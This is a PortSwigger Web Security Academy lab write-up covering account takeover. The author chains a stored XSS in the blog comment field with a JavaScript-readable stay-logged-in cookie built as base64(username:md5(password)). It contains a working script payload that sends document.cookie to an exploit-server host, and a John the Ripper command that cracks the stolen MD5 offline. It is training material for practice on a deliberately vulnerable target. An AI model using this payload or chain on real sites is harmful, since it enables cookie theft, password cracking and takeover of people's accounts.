Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Authentication — Offline Password Cracking via XSS-Stolen Cookie
Difficulty Practitioner
Objective Obtain Carlos's stay-logged-in cookie, crack his password, log in as Carlos, then delete his account
Note Own credentials wiener:peter, victim username carlos

Offline Password Cracking

I logged in as wiener:peter with "Stay logged in" checked, then went looking for an XSS vector.

Screenshot

The comment section was the obvious candidate. I tried script tags in both the comment and name fields:

Screenshot
Screenshot

The name field got HTML-encoded; the comment field didn't. XSS lands in the comment field specifically. Checking the source confirmed it — the name output was escaped while the comment was rendered raw.

Intercepting /my-account next to inspect the cookie:

GET /my-account?id=wiener HTTP/2
Host: 0ac0005803f186108079171d00260011.web-security-academy.net
Cookie: session=zUe5OOcVaXWR2xm8v2G27QGjqWheY3Jf; stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
Screenshot

Same construction as the previous lab — Burp decoded it to wiener:51dc30ddc473d43a6011e9ebba6ca770, and md5sum confirmed the second part is MD5(peter). The format is base64(username:md5(password)).

The natural first move was to try the same online brute-force approach: validate the Hash MD5 → Add prefix carlos: → Base64-encode chain against our own password, then run it against Carlos with the candidate wordlist.

Screenshot
Screenshot

Only 302s across the board — no hit. Carlos's password isn't in the provided wordlist. The online approach fails the moment the password isn't there, which is exactly why having an out-of-band exfiltration path matters: with the actual hash in hand, you can crack it offline against a much larger wordlist like rockyou, with no rate limiting or lockout in play.

Before going that route, I confirmed the stay-logged-in cookie was stealable. The browser's storage panel showed HttpOnly set to false — readable from JavaScript.

Screenshot

That's what connects the XSS bug to the credential material — HttpOnly not being set on a cookie storing password-derived data turns a separate, unrelated XSS into full account takeover. I posted a comment with a payload that base64-encodes document.cookie and sends it to the exploit server:

<script>
    fetch("https://exploit-0a45005803c48605803916ca01c1000d.exploit-server.net/exploit/teto=" + btoa(document.cookie));
</script>
Screenshot

Checking the exploit server log:

Screenshot

A hit came in. Decoding the captured value gave both the session cookie and the stay-logged-in cookie.

Screenshot

Base64-decoding the stay-logged-in value gave carlos:<md5 hash>.

Screenshot

I cracked it offline with John the Ripper against rockyou:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 carlos

That recovered the plaintext password. Logging in as carlos:

Screenshot

Clicked delete account:

Screenshot

Confirmed with the password and deleted.

Screenshot

Lab solved :P

Resources